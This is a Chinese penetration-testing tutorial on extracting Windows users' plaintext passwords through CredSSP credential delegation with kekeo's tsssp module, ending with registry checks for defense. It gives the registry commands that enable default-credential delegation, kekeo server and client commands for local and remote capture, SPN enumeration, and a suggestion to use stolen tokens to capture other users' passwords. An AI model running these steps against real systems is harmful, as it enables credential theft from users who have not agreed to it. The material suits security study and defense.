渗透技巧——通过 CredSSP 导出用户的明文口令

发布于 2024-08-22 12:29:23 字数 7574 浏览 16 评论 0

0x00 前言

在渗透测试中,为了获得 Windows 系统中的用户口令,通常会选择读取 lsass 进程的内存。这种方法不仅需要获得系统的管理员权限,而且在更多情况下需要绕过系统对 lsass 进程的保护。

我在之前的文章 《Windows 下的密码 hash——Net-NTLMv1 介绍》 曾介绍过使用 InternalMonologue 获得当前用户凭据的方法(通过 SSPI 调用对 NTLM 身份验证包(MSV1_0) 的本地过程调用,以计算出 NetNTLM 响应),不需要对 lsass 进程操作。

本文将要介绍另外一种获得当前用户口令的方法,同样不需要对 lsass 进程操作。

这是 Benjamin @gentilkiwi Delpy 开源的 kekeo 在 2018 年添加的功能,只需要修改 Windows 系统的组策略,就能够以普通用户的权限获得用户的明文口令。

本文将要对其中的原理进行简要介绍,分析不同环境下的利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

  • 实现原理
  • 实现方法
  • 利用分析
  • 防御检测

0x02 实现原理

1.基础知识

CredSSP

全称 Credential Security Support Provider protocol

  • CredSSP 协议的目的是将用户的明文密码从 CredSSP 客户端委派给 CredSSP 服务器
  • CredSSP 通常应用于远程桌面服务(Remote Desktop Protocol) 和 Windows 远程管理(Windows Remote Management)(例如 Powershell Remoting)
  • CredSSP 提供了加密的传输层安全协议通道。协商协议使用 Kerberos 和 NTLM

参考资料:https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider

2.通过组策略设置 CredSSP 的凭据分配

通过组策略可以指定使用 CredSSP 组件的应用程序是否发送默认凭据

组策略位置: Computer Configuration -> Administrative Templates -> System -> Credentials Delegation

如下图

Alt text

Allow delegating default credentials 表示在通过使用受信任的 X509 证书或 Kerberos 实现服务器身份验证时自动发送当前用户的凭据

Allow delegating default credentials with NTLM-only server authentication 表示在通过 NTLM 实现服务器身份验证时自动发送当前用户的凭据

组策略对应的注册表位置: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

3.CredSSP 的凭据分配在远程桌面服务上的应用

对于工作组环境,需要启用 Allow delegating default credentials with NTLM-only server authentication

对于域环境,需要启用 Allow delegating default credentials

开启对应的组策略后,在使用远程桌面连接时,会自动发送当前用户的凭据(明文格式,不是 hash)

数据结构如下:

TSPasswordCreds ::= SEQUENCE {
         domainName  [0] OCTET STRING,
         userName    [1] OCTET STRING,
         password    [2] OCTET STRING
 }

参考资料:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/17773cc4-21e9-4a75-a0dd-72706b174fe5

4.实现原理

综上,如果我们实现以下操作:

  • 修改主机 A 的组策略,设置为自动发送当前用户的凭据
  • 在主机 B 上面实现服务端的功能,接收主机 A 发送的请求

那么当我们控制主机 A 连接主机 B 时,主机 B 就能够获得主机 A 用户的明文口令

CredSSP 协议细节可参考:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30

更近一步,如果我们实现以下操作:

  • 修改主机 A 的组策略,设置为自动发送当前用户的凭据
  • 在主机 A 上面实现服务端的功能,接收主机 A 自己发送的请求

我们同样能够获得用户的明文口令

注:

keko 的实现方式是通过 SMB 协议创建命名管道,而不是 RDP 协议

如下图

Alt text

0x03 实现方法

通过修改注册表的方式添加组策略,命令如下:

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等

对于不同的网络环境,实现方法存在差异

1.工作组网络

身份验证方式为 NTLM

(1) 抓取本机口令

建立服务器的 kekeo 命令如下(普通用户权限):

tsssp::server

连接服务器的 kekeo 命令如下(普通用户权限):

tsssp::client /target:anyword

如下图

Alt text

注:

抓取本机口令时, target 参数可以设置为任意字符

2.域网络

身份验证方式为 Kerberos

(1) 抓取本机口令

建立服务器的 kekeo 命令如下(普通用户权限):

tsssp::server

连接服务器的 kekeo 命令如下(普通用户权限):

tsssp::client /target:anyword

注:抓取本机口令时, target 参数可以设置为任意字符

(2) 抓取远程主机口令

建立服务器的 kekeo 命令如下(System 权限):

tsssp::server

连接服务器的 kekeo 命令如下(普通用户权限):

tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint

结果如下图

Alt text

这里使用的参数为域内计算机帐户对应的 SPN

查看当前域内的所有 SPN 可以使用 setspn 命令:

setspn.exe -q */*

查看 test 域内的所有 SPN:

setspn.exe -T test -q */*

0x04 利用分析

1.优点

不需要同 lsass 进程交互,所以能够绕过对 lsass 进程的保护

在修改组策略后,只需要普通用户权限就能实现

注:添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等

2.其他利用思路

(1) 代码的提取

我将 kekeo 的 tsssp::client 功能单独提取出来,地址如下:https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp

代码支持连接本地和远程服务器

只需要填写 pipi 参数,我的代码会将 target 参数自动补全为 TERMSRV/<spn>

连接本地的命令示例:

tsssp_client.exe localhost

测试如下图

Alt text

连接远程服务器的命令示例:

tsssp_client.exe Computer01.test.com

测试如下图

Alt text

kekeo 的 tsssp::server 功能需要安装 OSS ASN.1/C

注:使用试用版的 OSS ASN.1/C 编译生成的 exe 文件无法在未安装 OSS ASN.1/C 的系统下使用

(2) 抓取其他用户的口令

使用其他用户的 token 启动 kekeo.exe 或者 tsssp_client.exe 即可

token 的利用方法可参考 《渗透技巧——Token 窃取与利用》

0x05 防御检测

1.查询组策略配置

查询注册表的 cmd 命令如下:

reg query hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

2.删除组策略配置

删除注册表项的 cmd 命令如下:

reg delete hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f

0x06 小结

本文介绍了 kekeotsssp 模块在不同环境下的利用方法,结合利用思路给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

上一篇:

下一篇:

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

0 文章
0 评论
23 人气
更多

推荐作者

linfzu01

文章 0 评论 0

可遇━不可求

文章 0 评论 0

枕梦

文章 0 评论 0

qq_3LFa8Q

文章 0 评论 0

JP

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文